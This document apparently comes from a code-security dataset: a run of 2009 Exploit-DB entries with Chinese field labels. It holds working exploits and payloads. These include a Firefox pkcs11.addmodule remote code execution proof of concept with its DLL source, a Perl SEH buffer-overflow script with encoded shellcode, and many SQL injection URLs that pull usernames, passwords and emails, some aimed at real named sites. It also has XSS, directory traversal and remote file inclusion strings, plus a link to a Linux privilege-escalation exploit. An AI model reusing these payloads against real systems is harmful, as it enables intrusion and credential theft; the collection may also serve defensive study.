QLWD/code_shield huggingface dataset:
标题: Mozilla Firefox < 3.0.14 - Multiplatform Remote Code Execution via pkcs11.addmodule EDB-ID: 9651 CVE: 2009-3076 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-09-11 漏洞利用脚本: Fix announce:   http://www.mozilla.org/security/announce/2009/mfsa2009-48.html
Bug history: https://bugzilla.mozilla.org/show_bug.cgi?id=326628

So, Firefox up through 3.0.13 had an obscure little function under window.pkcs11:

 long                      addmodule(in DOMString moduleName,
                                     in DOMString libraryFullPath,
                                     in long cryptoMechanismFlags,
                                     in long cipherFlags);

Yes, that's actually the full path to a DLL -- or an .so on Linux/OSX --
from a JS function that's exposed to the web.

Attacker doesn't get zero click install -- there's a dialog -- but:

1) Attacker does get to customize the dialog via moduleName
2) The dialog is modal, so the user doesn't get access to Firefox again
until they hit OK (can't even close Firefox)
3) On Windows, he can put a UNC path in for the Library path.  There's
probably similar on OSX and some Linux distros.  Even without, there's
usually a way to get a file in a known location -- see John Heasman's
Java work.

LoadLibrary of Attacker library on OK.

Repro:

<body>
<script>

  var str = "Error detected in Firefox Module NSP31337.bin.\n" +
           "Please click 'OK' to repair."

  ret=-2;
  while(ret!=-5){
     ret=window.pkcs11.addmodule("\n\n\n" + str + "\n\n\n", "\\\\127.0.0.1\\c$\\
pkunkcs", 0, 0);
  }

</script>

"Shellcode" is just a DLL with ShellExecute in the constructor:

CpkunkcsApp::CpkunkcsApp()
{

    char *str = "c:\\windows\\system32\\calc.exe";
    wchar_t *wText;
    size_t len;
   
    len = strlen(str)+1;

    wText = new wchar_t[strlen(str)];
    memset(wText, 0, len * sizeof(wchar_t));

    ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);

    ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);

}

Cheers to Jesse Ruderman, who recognized this was probably not the
greatest of API's some time ago.  The bug history is worth taking a look
at...goes back a while.  They missed the UNC path vector, and appear to
have underestimated the modal dialog.

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9651
标题: gyro 5.0 - SQL Injection / Cross-Site Scripting EDB-ID: 9640 CVE: 2009-3349 2009-3348 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: [+]=================================================================[+]
 ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 
 ||A |||n |||t |||i |||S |||c |||e |||r |||u |||t |||i |||y ||
 ||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
 |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|
 ------------------------------------------------------------
    http://antisecurity.org
[+]=================================================================[+]
  [x]Title    : Gyro V5.0 [Sql/Xss] Multiple Remote Vulnerabilities
  [x]Software : Gyro V5.0
  [x]Vendor   : http://www.datavore.com
  [x]Date     : 11 September 2009 ( Indonesia ) 
  [x]Author   : OoN_Boy
  [x]Contact  : oon.boy9@gmail.com
  [x]Blog     : http://oonboy.blogspot.com
  [x]Website : http://oonboy.info
[+]=================================================================[+]
  [x] Google Dork

  "powered by Gyro V5.0"
[+]=================================================================[+]
  [x] Exploit
  http://localhost/home?op=cat&cid=[sql]
  http://localhost/home?op=cat&cid=[Xss]
  
  [x] Proof of concept
  http://www.vansda.ca/home?op=cat&cid=29+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--
  http://www.vansda.ca/home?op=cat&cid=29"><script>alert(123456)</script>
  http://www.phpmath.com/home?op=cat&cid=29+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--
  http://www.phpmath.com/home?op=cat&cid=29"><script>alert(123456)</script>
[+]=================================================================[+]
        [x] Greetz

        Antisecurity[dot]Org www.BatamHacker.or.id www.MainHack.com  www.ServerIsDown.org - 
     Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,
     zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia,
     str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^

[+]=================================================================[+]
     [x] Wew
  [03:49] <&OoN_Boy> ============================
  [03:49] <&OoN_Boy> [03:48] <&chawanua> mentang2 dah jadian ama si noge ..
  [03:49] <&OoN_Boy> [03:48] <&Jack> xixixi
  [03:49] <&OoN_Boy> [03:48] <&Jack> maap maap
  [03:49] <&OoN_Boy> [03:48] <&Jack> :D
  [03:49] <&OoN_Boy> [03:48] <&chawanua> si bob ko tinggalin 
  [03:49] <&OoN_Boy> [03:49] <&Jack> aq homo, begitu jg dirimu
  [03:49] <&OoN_Boy> ============================
[+]=================================================================[+]
           ---------===Jangan Ngambek Jack ===---------

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9640
标题: T-HTB Manager 0.5 - Multiple Blind SQL Injections EDB-ID: 9637 CVE: 2009-3494 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ********   Salvatore "drosophila" Fresta   ********

[+] Application: T-HTB Manager
[+] Version: 0.5
[+] Website: http://sourceforge.net/apps/mediawiki/t-htbmanager/index.php?title=Main_Page

[+] Bugs: [A] Multiple Blind SQL Injection

[+] Exploitation: Remote
[+] Date: 10 Sep 2009

[+] Discovered by: Salvatore Fresta aka drosophila
[+] Author: Salvatore Fresta aka drosophila
[+] E-mail: drosophilaxxx [at] gmail.com


***************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


***************************************************

[+] Bugs


- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: index.php

All fields in this script are not sanitized but any
outputs aren't returned.

...

 case 'delete_category':
      $id = $_GET['id'];
      $id_interfaces = $_GET['id_interfaces'];

      if($id>0)
      {
        $query =  "SELECT rgt, lft FROM ".$table_name." WHERE id='" . $id . "'";
        $db_query = mysql_query($query);
        
...

    case 'update_category':
      $name = $_POST['name'];
      $id = $_POST['id'];

      $rate   = $_POST['rate'];
      $ceil   = $_POST['ceil'];
      $burst  = $_POST['burst'];
      $prio   = $_POST['prio'];
      $monitor  = $_POST['monitor'];

      if(strlen($name)>0 && $id>0)
      {
        $nodelft = $_POST['nodelft'];

        $lft = $_POST['lft'];
        $rgt = $_POST['rgt'];

        $query = "UPDATE ".$table_name." set name='" . $name . "' ,  lft='" . $lft . "' , rgt = '" . $rgt . "', rate= '" . $rate . "', ceil = '" . $ceil . "', burst = '" . $burst . "', prio = '" . $prio . "', monitor = '" . $monitor . "' WHERE id='" . $id . "'";
             
...

And many others..


***************************************************

[+] Code


- [A] Multiple Blind SQL Injection

This is a Blind SQL Injection bug but into the
database there aren't very reserved information
such as usernames and/or passwords. However this
injection can be used to write arbitrary files
on the server (when allowed).

http://site/path/index.php?action=delete_category&id=1' UNION ALL SELECT NULL,'evil code' INTO OUTFILE '/tmp/file.php

Send it as a POST packet:

action=update_category&id=9999&name=blabla' WHERE 1=0 OR IF(ASCII(CHAR(97)) = 97,BENCHMARK(10000000000,null),null)%23


***************************************************

[+] Fix

No fix.


***************************************************

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9637
标题: Icarus 2.0 - '.pgn' Universal Local Buffer Overflow (SEH) EDB-ID: 9628 CVE: 2009-1071 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-10 漏洞利用脚本: #!/user/bin/perl
#Icarus 2.0 (.PGn File)Universal Local BOF (SEH)
#tested on win SP2
#origenal  exploit : http://milw0rm.com/exploits/8236
#Author: germaya_x & D3v!LFUCK3R
#Download :http://www.randomsoftware.com/pub/icarus.exe
#GreTz [2] :his0k4  , Eddy_BAck0o , THE INJECTOR ,   ALL : www.lezr.com members :)
#fuck To: RoMaNcYxHaCkEr & alnjm33 & ALL www.sec-war.com  :)
#############################################################
my $bof="A" x 332 ;
my $NEXT_sEh="\xEB\x06\x90\x90";
my $SEH="\x3F\xB2\x2E\x66";#hnetcfg.DLL
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
###################################################################
open(myfile,'>> germaya_x.pgn');
print myfile $bof.$NEXT_sEh.$SEH.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9628
标题: An image Gallery 1.0 - 'navigation.php' Local Directory Traversal EDB-ID: 9636 CVE: 2009-3367 2009-3366 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: -------------------------------------------------------------------------
An image gallery 1.0(navigation.php) Local Directory Traversal
-------------------------------------------------------------------------
# Author  : ThE g0bL!N
# Download  : http://www.plohni.com/wb/content/php/download/An_image_gallery_1-0.zip
# Note: Algerie 1 - 0 Zambie
============================================
# Exploit  :
-----------
 http://localhost/PATH/navigation.php?path=../../../../../../../
#ex   :
-------
http://www.plohni.com/wb/content/php/demos/An_image_gallery/navigation.php?path=../../../../../../../windows/
============================================
Greetz:His0k4 & All My Friends
-------------------------------------------------------------------------

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9636
标题: Accommodation Hotel Booking Portal - 'hotel_id' SQL Injection EDB-ID: 9632 CVE: 2009-4617 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( hotel.php hotel_id )
##
## Accommodation Hotel Booking Portal
##
## http://www.tourismscripts.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/hotel.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/details.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/roomtypes.php?hotel_id=1'+UNION+SELECT+0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0+FROM+user/*
## www.TraGeT.CoM/photos.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/map.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/weather.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/reviews.php?hotel_id=1' << SQL >>
## www.TraGeT.CoM/book.php?hotel_id=1' << SQL >>
##
########################
########################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9632
标题: Bus Script - 'sitetext_id' SQL Injection EDB-ID: 9633 CVE: 2009-4618 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( aboutus.php sitetext_id )
##
## Bus Script
##
## http://www.tourismscripts.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/aboutus.php?sitetext_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a,user_name,password),0+FROM+user/*
## www.TraGeT.CoM/faq.php?sitetext_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a,user_name,password),0+FROM+user/*
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9633
标题: MYRE Holiday Rental Manager - 'action' SQL Injection EDB-ID: 9630 CVE: 2009-4616 2009-4615 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( review.php action )
##
## MYRE Holiday Rental Manager
##
## http://www.myrephp.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/review.php?action=show_review&link_id=1+UNION+SELECT+0,0,concat_ws(0x3a3a,member_name,member_password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+members--
## www.TraGeT.CoM/review.php?action=show_review&link_id=1+UNION+SELECT+0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+multiavailability_calendars----
##
## www.TraGeT.CoM/search.php?cat_id1="><script>alert()</script>                << XSS
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9630
标题: Image voting 1.0 - 'index.php?show' SQL Injection EDB-ID: 9639 CVE: 2009-3356 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-11 漏洞利用脚本: ###############################################################
# Image voting 1.0 Remote Sql injection
# AuTh0r : SKuLL-HacKeR
# H0ME   : WwW.Sec-Best.com & Saudihack.com & S3curity-Art.CoM
# Email  : My@Hotmail.iT
###############################################################
 
download script : http://www.plohni.com/wb/content/static/Download.php?file=../php/download/Image_voting_1-0.zip

exploit :

http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5--
demo :
http://www.plohni.com/wb/content/php/demos/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9639
标题: Adult Portal escort listing - 'user_id' SQL Injection EDB-ID: 9634 CVE: 2009-3358 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( profile.php user_id )
##
## Adult Portal escort listing
##
## http://www.tourismscripts.com/
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/profile.php?user_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+member/*
## www.TraGeT.CoM/profile.php?user_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
##
## or
##
## www.TraGeT.CoM/profile.php?user_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+member/*
## www.TraGeT.CoM/profile.php?user_id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#######################################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9634
标题: iDesk - 'download.php?cat_id' SQL Injection EDB-ID: 9631 CVE: 2009-4624 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( download.php cat_id )
##
## iDesk
##
## http://www.nicecoder.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/download.php?cat_id=-1+UNION+SELECT+0,0,0,@@VERSION,0,0,0,0,0--
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9631
标题: Drunken:Golem Gaming Portal - 'admin_news_bot.php' Remote File Inclusion EDB-ID: 9635 CVE: 2009-4622 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-10 漏洞利用脚本: [+] Author       : EA Ngel
 [+] Location         : Manado - Indonesia
 [+] Situs            : www[dot]manadocoding[dot]net
 [+] Contact          : engelpemula[at]gmail[dot]com
 [+] Download Script  : http://sourceforge.net/projects/drunkengolem/



 [/] Dork             : sitou timou tumou tou




 [#] Bug              : include $root_path."/include/irc/phpIRC.php";




 [^] 3xpl0it          : http://localhost/[path]/admin/admin_news_bot.php?root_path=[napa.txt?]


                   
 [@] Special Thanks   

 
     - manadocoding   : basix, cr4wl3r, Mr.C, cokiki, bl4ck_3n91n3, tonaas, night_prophet, blue_eye, angky_tatoki
                        g4pt3k, michel_taung, doniskynet, rezagmas, Mr.Crossbeam, bolodewo and friend's


     - Sekuritionline : cyberlog, k1n9k0ng, fl3xu5, exnome, dbanie, d4rkz, setiawan, kujang_lapuk, jantap, k3nz0
                        and friend's   
                      
     
     - lain-lain      : akiko, steve_san, steve_diving, b0b0h0, yadiyauri, ipay, nTc, chawanua, S4NT4, my_wishdom
                        wendyz, wishnu, kiddies, anjaz chux, is-mail, is-blank P2, moon_lee beib, C6, missi, mizz,
                        hygao, b1beh^p1nk, tasya, san-san and friend's
                    


                    
 [^] Note             : A happy heart is good medicine and a cheerful mind works healing, but a broken spirit dries up the bones.


                        TUHAN MEMBERKATI  

# milw0rm.com [2009-09-10] URL: https://www.exploit-db.com/exploits/9635
标题: Linux Kernel 2.4/2.6 - 'sock_sendpage()' Local Privilege Escalation (3) EDB-ID: 9641 CVE: 2009-2692 类型: LOCAL 平台: LINUX 发布日期: 2009-09-11 漏洞利用脚本: This third version features: Complete support for i386, x86_64, ppc and ppc64; The
personality trick published by Tavis Ormandy and Julien Tinnes; The TOC
pointer workaround for data items addressing on ppc64 (i.e. functions
on exploit code and libc can be referenced); Improved search and
transition to SELinux types with mmap_zero permission.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz (2009-linux-sendpage3.tar.gz)

# milw0rm.com [2009-09-11] URL: https://www.exploit-db.com/exploits/9641